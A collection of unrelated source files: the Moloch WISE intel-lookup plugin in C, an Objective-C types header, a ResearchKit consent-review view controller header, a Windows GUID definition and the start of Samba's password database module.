fieldsMapHash[hashPos] = g_strndup((gchar*)hash, 32);
fieldsMapCnt++;
sprintf(wiseGetURI, "/get?ver=2");
if (fieldsMapCnt > 0) {
strcat(wiseGetURI, "&hashes=");
strcat(wiseGetURI, fieldsMapHash[0]);
for (i = 1; i < fieldsMapCnt; i++) {
strcat(wiseGetURI, ",");
strcat(wiseGetURI, fieldsMapHash[i]);
}
}
}
if (cnt)
memset(fieldsMap[hashPos], -1, sizeof(fieldsMap[hashPos]));
for (i = 0; i < cnt; i++) {
int len = 0;
BSB_IMPORT_u16(bsb, len); // len includes NULL terminated
fieldsMap[0][i] = moloch_field_define_text((char*)BSB_WORK_PTR(bsb), NULL);
if (fieldsMap[0][i] == -1)
fieldsTS = 0;
if (config.debug)
LOG("Couldn't define field - %d %d %s", i, fieldsMap[0][i], BSB_WORK_PTR(bsb));
BSB_IMPORT_skip(bsb, len);
}
MOLOCH_UNLOCK(item);
}
struct timeval currentTime;
gettimeofday(¤tTime, NULL);
for (i = 0; i < request->numItems; i++) {
MOLOCH_LOCK(item);
WiseItem_t *wi = request->items[i];
int numOps = 0;
BSB_IMPORT_u08(bsb, numOps);
moloch_field_ops_init(&wi->ops, numOps, MOLOCH_FIELD_OPS_FLAGS_COPY);
for (int o = 0; o < numOps; o++) {
int rfield = 0;
BSB_IMPORT_u08(bsb, rfield);
int fieldPos = fieldsMap[hashPos][rfield];
int len = 0;
BSB_IMPORT_u08(bsb, len);
char *str = (char*)BSB_WORK_PTR(bsb);
BSB_IMPORT_skip(bsb, len);
if (fieldPos == -1) {
LOG("Couldn't find pos %d", rfield);
continue;
}
moloch_field_ops_add(&wi->ops, fieldPos, str, len - 1);
}
wi->loadTime = currentTime.tv_sec;
// Schedule updates on waiting sessions
int s;
for (s = 0; s < wi->numSessions; s++) {
moloch_session_add_cmd(wi->sessions[s], MOLOCH_SES_CMD_FUNC, wi, NULL, wise_session_cmd_cb);
}
g_free(wi->sessions);
wi->sessions = 0;
wi->numSessions = 0;
DLL_PUSH_HEAD(wil_, &types[(int)wi->type].itemList, wi);
// Cache needs to be reduced
if (types[(int)wi->type].itemList.wil_count > maxCache) {
DLL_POP_TAIL(wil_, &types[(int)wi->type].itemList, wi);
wise_remove_item_locked(wi);
}
MOLOCH_UNLOCK(item);
}
MOLOCH_TYPE_FREE(WiseRequest_t, request);
}
/******************************************************************************/
LOCAL void wise_lookup(MolochSession_t *session, WiseRequest_t *request, char *value, int type)
{
if (*value == 0)
return;
if (request->numItems >= WISE_MAX_REQUEST_ITEMS)
return;
static int lookups = 0;
lookups++;
if (logEvery != 0 && (lookups % logEvery) == 0)
wise_print_stats();
stats[type][INTEL_STAT_LOOKUP]++;
struct timeval currentTime;
gettimeofday(¤tTime, NULL);
MOLOCH_LOCK(item);
WiseItem_t *wi;
HASH_FIND(wih_, types[type].itemHash, value, wi);
if (wi) {
// Already being looked up
if (wi->sessions) {
if (wi->numSessions >= 4096) {
stats[type][INTEL_STAT_FAIL]++;
goto cleanup;
}
if (wi->numSessions >= wi->sessionsSize) {
wi->sessionsSize = MIN(wi->sessionsSize*2, 4096);
wi->sessions = realloc(wi->sessions, sizeof(MolochSession_t *) * wi->sessionsSize);
}
wi->sessions[wi->numSessions++] = session;
moloch_session_incr_outstanding(session);
stats[type][INTEL_STAT_INPROGRESS]++;
goto cleanup;
}
if (wi->loadTime + cacheSecs > currentTime.tv_sec) {
moloch_field_ops_run(session, &wi->ops);
stats[type][INTEL_STAT_CACHE]++;
goto cleanup;
}
/* Had it in cache, but it is too old */
DLL_REMOVE(wil_, &types[type].itemList, wi);
moloch_field_ops_free(&wi->ops);
} else {
// Know nothing about it
wi = MOLOCH_TYPE_ALLOC0(WiseItem_t);
wi->key = g_strdup(value);
wi->type = type;
wi->sessionsSize = 4;
HASH_ADD(wih_, types[type].itemHash, wi->key, wi);
}
wi->sessions = malloc(sizeof(MolochSession_t *) * wi->sessionsSize);
wi->sessions[wi->numSessions++] = session;
moloch_session_incr_outstanding(session);
stats[type][INTEL_STAT_REQUEST]++;
if (type < INTEL_TYPE_NUM_PRE) {
BSB_EXPORT_u08(request->bsb, type);
} else {
BSB_EXPORT_u08(request->bsb, types[type].nameLen | 0x80);
BSB_EXPORT_ptr(request->bsb, types[type].name, types[type].nameLen);
}
int len = strlen(value);
BSB_EXPORT_u16(request->bsb, len);
BSB_EXPORT_ptr(request->bsb, value, len);
request->items[request->numItems++] = wi;
cleanup:
MOLOCH_UNLOCK(item);
}
/******************************************************************************/
LOCAL void wise_lookup_domain(MolochSession_t *session, WiseRequest_t *request, char *domain)
{
// Skip leading http
if (*domain == 'h') {
if (strncmp(domain, "http://", 7) == 0)
domain += 7;
else if (strncmp(domain, "https://", 8) == 0)
domain += 8;
}
unsigned char *end = (unsigned char*)domain;
unsigned char *colon = 0;
int period = 0;
while (*end) {
if (!validDNS[*end]) {
if (*end == '.') {
period++;
end++;
continue;
}
if (*end == ':') {
colon = end;
*colon = 0;
break;
}
if (config.debug) {
LOG("Invalid DNS: %s", domain);
}
return;
}
end++;
}
if (period == 0) {
if (config.debug) {
LOG("Invalid DNS: %s", domain);
}
return;
}
// Last character is digit, can't be a domain, so either ip or bogus
if (isdigit(*(end-1))) {
struct in_addr addr;
if (inet_pton(AF_INET, domain, &addr) == 1) {
wise_lookup(session, request, domain, INTEL_TYPE_IP);
}
return;
}
int l = strlen(domain);
for (int i = 0; i < wiseExcludeDomainsNum; i++) {
if (l > wiseExcludeDomainsLen[i] && memcmp(domain + l - wiseExcludeDomainsLen[i], wiseExcludeDomains[i], wiseExcludeDomainsLen[i]) == 0) {
goto cleanup;
}
}
wise_lookup(session, request, domain, INTEL_TYPE_DOMAIN);
cleanup:
if (colon)
*colon = ':';
}
/******************************************************************************/
void wise_lookup_ip(MolochSession_t *session, WiseRequest_t *request, struct in6_addr *ip6)
{
char ipstr[INET6_ADDRSTRLEN];
if (IN6_IS_ADDR_V4MAPPED(ip6)) {
uint32_t ip = MOLOCH_V6_TO_V4(*ip6);
snprintf(ipstr, sizeof(ipstr), "%u.%u.%u.%u", ip & 0xff, (ip >> 8) & 0xff, (ip >> 16) & 0xff, (ip >> 24) & 0xff);
} else {
inet_ntop(AF_INET6, ip6, ipstr, sizeof(ipstr));
}
wise_lookup(session, request, ipstr, INTEL_TYPE_IP);
}
/******************************************************************************/
void wise_lookup_tuple(MolochSession_t *session, WiseRequest_t *request)
{
char str[1000];
BSB bsb;
BSB_INIT(bsb, str, sizeof(str));
BSB_EXPORT_sprintf(bsb, "%ld;", session->firstPacket.tv_sec);
int first = 1;
MolochString_t *hstring;
MolochStringHashStd_t *shash = session->fields[protocolField]->shash;
HASH_FORALL(s_, *shash, hstring,
if (first) {
first = 0;
} else {
BSB_EXPORT_u08(bsb, ',');
}
BSB_EXPORT_ptr(bsb, hstring->str, hstring->len);
);
if (IN6_IS_ADDR_V4MAPPED(&session->addr1)) {
uint32_t ip1 = MOLOCH_V6_TO_V4(session->addr1);
uint32_t ip2 = MOLOCH_V6_TO_V4(session->addr2);
BSB_EXPORT_sprintf(bsb, ";%u.%u.%u.%u;%u;%u.%u.%u.%u;%u",
ip1 & 0xff, (ip1 >> 8) & 0xff, (ip1 >> 16) & 0xff, (ip1 >> 24) & 0xff,
session->port1,
ip2 & 0xff, (ip2 >> 8) & 0xff, (ip2 >> 16) & 0xff, (ip2 >> 24) & 0xff,
session->port2
);
} else {
// inet_ntop(AF_INET6, ip6, ipstr, sizeof(ipstr));
char ipstr1[INET6_ADDRSTRLEN];
char ipstr2[INET6_ADDRSTRLEN];
inet_ntop(AF_INET6, &session->addr1, ipstr1, sizeof(ipstr1));
inet_ntop(AF_INET6, &session->addr2, ipstr2, sizeof(ipstr2));
BSB_EXPORT_sprintf(bsb, ";%s;%u;%s;%u",
ipstr1,
session->port1,
ipstr2,
session->port2
);
}
wise_lookup(session, request, str, INTEL_TYPE_TUPLE);
}
/******************************************************************************/
void wise_lookup_url(MolochSession_t *session, WiseRequest_t *request, char *url)
{
// Skip leading http
if (*url == 'h') {
if (memcmp(url, "http://", 7) == 0)
url += 7;
else if (memcmp(url, "https://", 8) == 0)
url += 8;
}
char *question = strchr(url, '?');
if (question) {
*question = 0;
wise_lookup(session, request, url, INTEL_TYPE_URL);
*question = '?';
} else {
wise_lookup(session, request, url, INTEL_TYPE_URL);
}
}
/******************************************************************************/
LOCAL void wise_flush_locked()
{
if (!iRequest || iRequest->numItems == 0)
return;
inflight += iRequest->numItems;
if (moloch_http_send(wiseService, "POST", wiseGetURI, -1, iBuf, BSB_LENGTH(iRequest->bsb), NULL, TRUE, wise_cb, iRequest) != 0) {
LOG("Wise - request failed %p for %d items", iRequest, iRequest->numItems);
wise_cb(500, NULL, 0, iRequest);
}
iRequest = 0;
iBuf = 0;
}
/******************************************************************************/
LOCAL gboolean wise_flush(gpointer UNUSED(user_data))
{
MOLOCH_LOCK(iRequest);
wise_flush_locked();
MOLOCH_UNLOCK(iRequest);
return TRUE;
}
/******************************************************************************/
void wise_plugin_pre_save(MolochSession_t *session, int UNUSED(final))
{
MolochString_t *hstring = NULL;
MOLOCH_LOCK(iRequest);
if (!iRequest) {
iRequest = MOLOCH_TYPE_ALLOC(WiseRequest_t);
iBuf = moloch_http_get_buffer(0xffff);
BSB_INIT(iRequest->bsb, iBuf, 0xffff);
iRequest->numItems = 0;
}
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wstrict-aliasing"
//IPs
wise_lookup_ip(session, iRequest, &session->addr1);
wise_lookup_ip(session, iRequest, &session->addr2);
#pragma GCC diagnostic pop
int type, i;
for (type = 0; type < numTypes; type++) {
for (i = 0; i < types[type].fieldsLen; i++) {
int pos = types[type].fields[i];
if (!session->fields[pos])
continue;
MolochStringHashStd_t *shash;
gpointer ikey;
GHashTable *ghash;
GHashTableIter iter;
char buf[20];
switch(config.fields[pos]->type) {
case MOLOCH_FIELD_TYPE_INT:
snprintf(buf, sizeof(buf), "%d", session->fields[pos]->i);
wise_lookup(session, iRequest, buf, type);
break;
case MOLOCH_FIELD_TYPE_INT_GHASH:
ghash = session->fields[pos]->ghash;
g_hash_table_iter_init (&iter, ghash);
while (g_hash_table_iter_next (&iter, &ikey, NULL)) {
snprintf(buf, sizeof(buf), "%d", (int)(long)ikey);
wise_lookup(session, iRequest, buf, type);
}
break;
case MOLOCH_FIELD_TYPE_IP:
wise_lookup_ip(session, iRequest, (struct in6_addr *)session->fields[pos]->ip);
break;
case MOLOCH_FIELD_TYPE_IP_GHASH:
ghash = session->fields[pos]->ghash;
g_hash_table_iter_init (&iter, ghash);
while (g_hash_table_iter_next (&iter, &ikey, NULL)) {
wise_lookup_ip(session, iRequest, (struct in6_addr *)ikey);
}
break;
case MOLOCH_FIELD_TYPE_STR:
if (type == INTEL_TYPE_DOMAIN)
wise_lookup_domain(session, iRequest, session->fields[pos]->str);
else
wise_lookup(session, iRequest, session->fields[pos]->str, type);
break;
case MOLOCH_FIELD_TYPE_STR_HASH:
shash = session->fields[pos]->shash;
HASH_FORALL(s_, *shash, hstring,
if (type == INTEL_TYPE_DOMAIN)
wise_lookup_domain(session, iRequest, hstring->str);
else if (type == INTEL_TYPE_URL)
wise_lookup_url(session, iRequest, hstring->str);
else if (hstring->uw) {
char str[1000];
snprintf(str, sizeof(str), "%s;%s", hstring->str, (char*)hstring->uw);
wise_lookup(session, iRequest, str, type);
} else {
wise_lookup(session, iRequest, hstring->str, type);
}
);
break;
case MOLOCH_FIELD_TYPE_STR_GHASH:
ghash = session->fields[pos]->ghash;
g_hash_table_iter_init (&iter, ghash);
while (g_hash_table_iter_next (&iter, &ikey, NULL)) {
if (type == INTEL_TYPE_DOMAIN)
wise_lookup_domain(session, iRequest, hstring->str);
else if (type == INTEL_TYPE_URL)
wise_lookup_url(session, iRequest, hstring->str);
else
wise_lookup(session, iRequest, ikey, type);
}
} /* switch */
}
}
// Tuples
if ((tcpTuple && session->ses == SESSION_TCP) ||
(udpTuple && session->ses == SESSION_UDP)) {
wise_lookup_tuple(session, iRequest);
}
if (iRequest->numItems > WISE_MAX_REQUEST_ITEMS/2) {
wise_flush_locked();
}
MOLOCH_UNLOCK(iRequest);
}
/******************************************************************************/
LOCAL void wise_plugin_exit()
{
MOLOCH_LOCK(item);
for (int type = 0; type < INTEL_TYPE_SIZE; type++) {
WiseItem_t *wi;
while (DLL_POP_TAIL(wil_, &types[type].itemList, wi)) {
wise_remove_item_locked(wi);
}
}
if (wiseHost)
g_free(wiseHost);
if (wiseURL)
g_free(wiseURL);
moloch_http_free_server(wiseService);
MOLOCH_UNLOCK(item);
}
/******************************************************************************/
LOCAL uint32_t wise_plugin_outstanding()
{
int count;
MOLOCH_LOCK(iRequest);
count = inflight + (iRequest?iRequest->numItems:0) + moloch_http_queue_length(wiseService);
MOLOCH_UNLOCK(iRequest);
LOG("wise: %d", count);
return count;
}
/******************************************************************************/
LOCAL void wise_load_config()
{
gsize keys_len;
int i, type;
char *wiseStrings[INTEL_TYPE_NUM_PRE] = {"ip", "domain", "md5", "email", "url", "tuple", "ja3", "sha256"};
for (type = 0; type < INTEL_TYPE_NUM_PRE; type++) {
types[type].name = wiseStrings[type];
types[type].nameLen = strlen(wiseStrings[type]);
}
// Defaults unless replaced below
types[INTEL_TYPE_IP].fields[0] = moloch_field_by_db("http.xffIp");
types[INTEL_TYPE_IP].fieldsLen = 1;
types[INTEL_TYPE_URL].fields[0] = moloch_field_by_db("http.uri");
types[INTEL_TYPE_URL].fieldsLen = 1;
types[INTEL_TYPE_DOMAIN].fields[0] = moloch_field_by_db("http.host");
types[INTEL_TYPE_DOMAIN].fields[1] = moloch_field_by_db("dns.host");
if (config.parseDNSRecordAll) {
types[INTEL_TYPE_DOMAIN].fields[2] = moloch_field_by_db("dns.mailserverHost");
// Not sending nameserver for now
types[INTEL_TYPE_DOMAIN].fieldsLen = 3;
} else {
types[INTEL_TYPE_DOMAIN].fieldsLen = 2;
}
types[INTEL_TYPE_MD5].fields[0] = moloch_field_by_db("http.md5");
types[INTEL_TYPE_MD5].fields[1] = moloch_field_by_db("email.md5");
types[INTEL_TYPE_MD5].fieldsLen = 2;
if (config.supportSha256) {
types[INTEL_TYPE_SHA256].fields[0] = moloch_field_by_db("http.sha256");
types[INTEL_TYPE_SHA256].fields[1] = moloch_field_by_db("email.sha256");
types[INTEL_TYPE_SHA256].fieldsLen = 2;
}
types[INTEL_TYPE_EMAIL].fields[0] = moloch_field_by_db("email.src");
types[INTEL_TYPE_EMAIL].fields[1] = moloch_field_by_db("email.dst");
types[INTEL_TYPE_EMAIL].fieldsLen = 2;
types[INTEL_TYPE_JA3].fields[0] = moloch_field_by_db("tls.ja3");
types[INTEL_TYPE_JA3].fieldsLen = 1;
// Load user config
gchar **keys = moloch_config_section_keys(NULL, "wise-types", &keys_len);
if (!keys)
return;
for (i = 0; i < (int)keys_len; i++) {
gchar **values = moloch_config_section_str_list(NULL, "wise-types", keys[i], NULL);
if (strcmp(keys[i], "ip") == 0)
type = INTEL_TYPE_IP;
else if (strcmp(keys[i], "url") == 0)
type = INTEL_TYPE_URL;
else if (strcmp(keys[i], "domain") == 0)
type = INTEL_TYPE_DOMAIN;
else if (strcmp(keys[i], "md5") == 0)
type = INTEL_TYPE_MD5;
else if (strcmp(keys[i], "sha256") == 0)
type = INTEL_TYPE_SHA256;
else if (strcmp(keys[i], "email") == 0)
type = INTEL_TYPE_EMAIL;
else if (strcmp(keys[i], "ja3") == 0)
type = INTEL_TYPE_JA3;
else {
if (numTypes == INTEL_TYPE_SIZE) {
LOGEXIT("Too many wise-types, can only have %d custom types", INTEL_TYPE_SIZE - INTEL_TYPE_NUM_PRE);
}
type = numTypes++;
types[type].nameLen = strlen(keys[i]);
types[type].name = g_ascii_strdown(keys[i], types[type].nameLen);
if (types[type].nameLen > 12)
LOGEXIT("wise-types '%s' too long, max 12 chars", keys[i]);
}
types[type].fieldsLen = 0;
int v;
for (v = 0; values[v]; v++) {
if (types[type].fieldsLen == INTEL_TYPE_MAX_FIELDS)
LOGEXIT("wise-types '%s' has too man fields, max %d", keys[i], INTEL_TYPE_MAX_FIELDS);
int pos;
if (strncmp("db:", values[v], 3) == 0)
pos = moloch_field_by_db(values[v] + 3);
else
pos = moloch_field_by_exp(values[v]);
types[type].fields[(int)types[type].fieldsLen] = pos;
types[type].fieldsLen++;
}
g_strfreev(values);
}
g_strfreev(keys);
}
/******************************************************************************/
void moloch_plugin_init()
{
int i;
if (config.dryRun) {
LOG("Not enabling in dryRun mode");
return;
}
maxConns = moloch_config_int(NULL, "wiseMaxConns", 10, 1, 60);
maxRequests = moloch_config_int(NULL, "wiseMaxRequests", 100, 1, 50000);
maxCache = moloch_config_int(NULL, "wiseMaxCache", 100000, 1, 500000);
cacheSecs = moloch_config_int(NULL, "wiseCacheSecs", 600, 1, 5000);
tcpTuple = moloch_config_boolean(NULL, "wiseTcpTupleLookups", FALSE);
udpTuple = moloch_config_boolean(NULL, "wiseUdpTupleLookups", FALSE);
logEvery = moloch_config_int(NULL, "wiseLogEvery", 10000, 0, 10000000);
wiseURL = moloch_config_str(NULL, "wiseURL", NULL);
wisePort = moloch_config_int(NULL, "wisePort", 8081, 1, 0xffff);
wiseHost = moloch_config_str(NULL, "wiseHost", "127.0.0.1");
protocolField = moloch_field_by_db("protocol");
wise_load_config();
wiseExcludeDomains = moloch_config_str_list(NULL, "wiseExcludeDomains", ".in-addr.arpa;.ip6.arpa");
for (i = 0; wiseExcludeDomains[i]; i++);
wiseExcludeDomainsNum = i;
wiseExcludeDomainsLen = malloc(sizeof(int) * wiseExcludeDomainsNum);
for (i = 0; wiseExcludeDomains[i]; i++) {
wiseExcludeDomainsLen[i] = strlen(wiseExcludeDomains[i]);
}
if (wiseURL) {
wiseService = moloch_http_create_server(wiseURL, maxConns, maxRequests, 0);
} else {
char hoststr[200];
snprintf(hoststr, sizeof(hoststr), "http://%s:%d", wiseHost, wisePort);
wiseService = moloch_http_create_server(hoststr, maxConns, maxRequests, 0);
}
moloch_http_set_retries(wiseService, 1);
moloch_plugins_register("wise", FALSE);
moloch_plugins_set_cb("wise",
NULL,
NULL,
NULL,
wise_plugin_pre_save,
NULL,
NULL,
wise_plugin_exit,
NULL
);
moloch_plugins_set_outstanding_cb("wise", wise_plugin_outstanding);
int type;
for (type = 0; type < INTEL_TYPE_SIZE; type++) {
HASH_INIT(wih_, types[type].itemHash, moloch_string_hash, wise_item_cmp);
DLL_INIT(wil_, &types[type].itemList);
}
g_timeout_add_seconds(1, wise_flush, 0);
wise_load_fields();
sprintf(wiseGetURI, "/get?ver=2");
}
| 33.034115 | 146 | 0.538275 |
ea9ff583362d8653e270505f3956cb66580c7906 | 515 | h | C | ModelViewer/ViewerFoundation/Loader/NuoTypes.h | erpapa/NuoModelViewer | 0dcb8bf99cb49c6e2c9535ed178e01674fa26824 | [
"MIT"
] | 265 | 2017-03-15T17:11:27.000Z | 2022-03-30T07:50:00.000Z | ModelViewer/ViewerFoundation/Loader/NuoTypes.h | erpapa/NuoModelViewer | 0dcb8bf99cb49c6e2c9535ed178e01674fa26824 | [
"MIT"
] | 6 | 2017-07-03T01:57:49.000Z | 2020-01-24T19:28:22.000Z | ModelViewer/ViewerFoundation/Loader/NuoTypes.h | erpapa/NuoModelViewer | 0dcb8bf99cb49c6e2c9535ed178e01674fa26824 | [
"MIT"
] | 39 | 2016-09-30T03:26:44.000Z | 2022-01-24T07:37:20.000Z | //
// NuoTypes.hpp
// ModelViewer
//
// Created by middleware on 9/5/16.
// Copyright © 2016 middleware. All rights reserved.
//
#ifndef NuoTypes_hpp
#define NuoTypes_hpp
#if __cplusplus
extern "C" {
#endif
extern const unsigned int kSampleCount;
extern const unsigned int kInFlightBufferCount;
typedef void (^NuoProgressFunction)(float);
typedef void (^NuoProgressIndicatedFunction)(NuoProgressFunction);
typedef void (^NuoSimpleFunction)(void);
#if __cplusplus
}
#endif
#endif /* NuoTypes_hpp */
| 16.612903 | 66 | 0.745631 |
8af1aa8dedee0cc01593c5362bf1e1b14c93e104 | 4,268 | h | C | ORK1Kit/ORK1Kit/Consent/ORK1ConsentReviewStepViewController.h | CareEvolution/ResearchK | 044a3b50b91b3c450686544bb3d5a2e451f77881 | [
"BSD-3-Clause"
] | 1 | 2018-07-19T15:44:39.000Z | 2018-07-19T15:44:39.000Z | ORK1Kit/ORK1Kit/Consent/ORK1ConsentReviewStepViewController.h | CareEvolution/ResearchK | 044a3b50b91b3c450686544bb3d5a2e451f77881 | [
"BSD-3-Clause"
] | 77 | 2018-02-13T17:07:05.000Z | 2021-09-20T03:36:33.000Z | ORK1Kit/ORK1Kit/Consent/ORK1ConsentReviewStepViewController.h | CareEvolution/ResearchKit | 044a3b50b91b3c450686544bb3d5a2e451f77881 | [
"BSD-3-Clause"
] | null | null | null | /*
Copyright (c) 2015, Apple Inc. All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution.
3. Neither the name of the copyright holder(s) nor the names of any contributors
may be used to endorse or promote products derived from this software without
specific prior written permission. No license is granted to the trademarks of
the copyright holders even if such marks are included in this software.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
@import Foundation;
#import <ORK1Kit/ORK1Defines.h>
#import <ORK1Kit/ORK1StepViewController.h>
NS_ASSUME_NONNULL_BEGIN
@class ORK1ConsentReviewStep;
@class ORK1ConsentSignatureResult;
@class ORK1ConsentReviewStepViewController;
/**
Values that identify different phases of the consent review step. Which phases are shown to the user depend on the configuration of the associated ORK1ConsentSignature.
*/
typedef NS_ENUM(NSInteger, ORK1ConsentReviewPhase) {
/// The (optional) phase in which the user enters their name.
ORK1ConsentReviewPhaseName,
/// The phase in which the consent document is displayed for final review before agreeing.
ORK1ConsentReviewPhaseReviewDocument,
/// The (optional) phase in which the user enters a signature.
ORK1ConsentReviewPhaseSignature
} ORK1_ENUM_AVAILABLE;
/**
Implement this delegate in order to observe the user's interaction with a consent review step.
*/
ORK1_CLASS_AVAILABLE
@protocol ORK1ConsentReviewStepViewControllerDelegate<NSObject>
@optional
/**
Tells the delegate when various phases of consent review are displayed.
@param stepViewController The step view controller providing the callback.
@param phase The phase of consent review shown to the user.
@param pageIndex Indicates the ordering of the phase shown to the user.
*/
- (void)consentReviewStepViewController:(ORK1ConsentReviewStepViewController *)stepViewController didShowPhase:(ORK1ConsentReviewPhase)phase pageIndex:(NSInteger)pageIndex;
@end
/**
The `ORK1ConsentReviewStepViewController` class is a step view controller subclass
used to manage a consent review step (`ORK1ConsentReviewStep`).
You should not need to instantiate a consent review step view controller directly. Instead, include
a consent review step in a task, and present a task view controller for that
task.
*/
ORK1_CLASS_AVAILABLE
@interface ORK1ConsentReviewStepViewController : ORK1StepViewController
/**
Returns an initialized consent review step view controller using the specified review step and result.
@param consentReviewStep The configured review step.
@param result The initial or previous results for the review step, as appropriate.
*/
- (instancetype)initWithConsentReviewStep:(ORK1ConsentReviewStep *)consentReviewStep
result:(nullable ORK1ConsentSignatureResult *)result;
/**
The delegate for consent review interactions. This delegate is optional.
*/
@property (nonatomic, weak, nullable) id<ORK1ConsentReviewStepViewControllerDelegate> consentReviewDelegate;
@end
NS_ASSUME_NONNULL_END
| 41.436893 | 172 | 0.789597 |
d86d812372be7ab7d5e955bc6514e9cdcb2c6972 | 848 | h | C | windows/advcore/ctf/msutb/guid.h | npocmaka/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 17 | 2020-11-13T13:42:52.000Z | 2021-09-16T09:13:13.000Z | windows/advcore/ctf/msutb/guid.h | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 2 | 2020-10-19T08:02:06.000Z | 2020-10-19T08:23:18.000Z | windows/advcore/ctf/msutb/guid.h | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 14 | 2020-11-14T09:43:20.000Z | 2021-08-28T08:59:57.000Z | /**************************************************************************
THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
PARTICULAR PURPOSE.
Copyright 1997 Microsoft Corporation. All Rights Reserved.
**************************************************************************/
/**************************************************************************
File: Guid.h
Description: Private GUID definition.
**************************************************************************/
/* 540d8a8b-1c3f-4e32-8132-530f6a502090 */
DEFINE_GUID(CLSID_MSUTBDeskBand,
0x540d8a8b, 0x1c3f, 0x4e32, 0x81, 0x32, 0x53, 0x0f, 0x6a, 0x50, 0x20, 0x90);
| 38.545455 | 77 | 0.454009 |
37e6264fdd30c300bc0b5250fce584ffac179bd9 | 33,969 | c | C | release/src/router/samba/source/passdb/passdb.c | ghsecuritylab/tomato_egg | 50473a46347f4631eb4878a0f47955cc64c87293 | [
"FSFAP"
] | 278 | 2015-11-03T03:01:20.000Z | 2022-01-20T18:21:05.000Z | release/src/router/samba/source/passdb/passdb.c | ghsecuritylab/tomato_egg | 50473a46347f4631eb4878a0f47955cc64c87293 | [
"FSFAP"
] | 374 | 2015-11-03T12:37:22.000Z | 2021-12-17T14:18:08.000Z | release/src/router/samba/source/passdb/passdb.c | ghsecuritylab/tomato_egg | 50473a46347f4631eb4878a0f47955cc64c87293 | [
"FSFAP"
] | 96 | 2015-11-22T07:47:26.000Z | 2022-01-20T19:52:19.000Z | /*
Unix SMB/Netbios implementation.
Version 1.9.
Password and authentication handling
Copyright (C) Jeremy Allison 1996-1998
Copyright (C) Luke Kenneth Casson Leighton 1996-1998
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#include "includes.h"
#include "nterr.h"
extern int DEBUGLEVEL;
/*
* This is set on startup - it defines the SID for this
* machine, and therefore the SAM database for which it is
* responsible.
*/
extern DOM_SID global_sam_sid;
extern pstring global_myname;
extern fstring global_myworkgroup;
/*
* NOTE. All these functions are abstracted into a structure
* that points to the correct function for the selected database. JRA.
*
* NOTE. for the get/mod/add functions, there are two sets of functions.
* one supports struct sam_passwd, the other supports struct smb_passwd.
* for speed optimisation it is best to support both these sets.
*
* it is, however, optional to support one set but not the other: there
* is conversion-capability built in to passdb.c, and run-time error
* detection for when neither are supported.
*
* password database writers are recommended to implement the sam_passwd
* functions in a first pass, as struct sam_passwd contains more
* information, needed by the NT Domain support.
*
* a full example set of derivative functions are listed below. an API
* writer is expected to cut/paste these into their module, replace
* either one set (struct smb_passwd) or the other (struct sam_passwd)
* OR both, and optionally also to write display info routines
* (struct sam_disp_info). lkcl
*
*/
static struct passdb_ops *pdb_ops;
/***************************************************************
Initialize the password db operations.
***************************************************************/
BOOL initialize_password_db(void)
{
if (pdb_ops)
{
return True;
}
#ifdef WITH_NISPLUS
pdb_ops = nisplus_initialize_password_db();
#elif defined(WITH_LDAP)
pdb_ops = ldap_initialize_password_db();
#else
pdb_ops = file_initialize_password_db();
#endif
return (pdb_ops != NULL);
}
/*
* Functions that return/manipulate a struct smb_passwd.
*/
/************************************************************************
Utility function to search smb passwd by rid.
*************************************************************************/
struct smb_passwd *iterate_getsmbpwrid(uint32 user_rid)
{
return iterate_getsmbpwuid(pdb_user_rid_to_uid(user_rid));
}
/************************************************************************
Utility function to search smb passwd by uid. use this if your database
does not have search facilities.
*************************************************************************/
struct smb_passwd *iterate_getsmbpwuid(uid_t smb_userid)
{
struct smb_passwd *pwd = NULL;
void *fp = NULL;
DEBUG(10, ("search by smb_userid: %x\n", (int)smb_userid));
/* Open the smb password database - not for update. */
fp = startsmbpwent(False);
if (fp == NULL)
{
DEBUG(0, ("unable to open smb password database.\n"));
return NULL;
}
while ((pwd = getsmbpwent(fp)) != NULL && pwd->smb_userid != smb_userid)
;
if (pwd != NULL)
{
DEBUG(10, ("found by smb_userid: %x\n", (int)smb_userid));
}
endsmbpwent(fp);
return pwd;
}
/************************************************************************
Utility function to search smb passwd by name. use this if your database
does not have search facilities.
*************************************************************************/
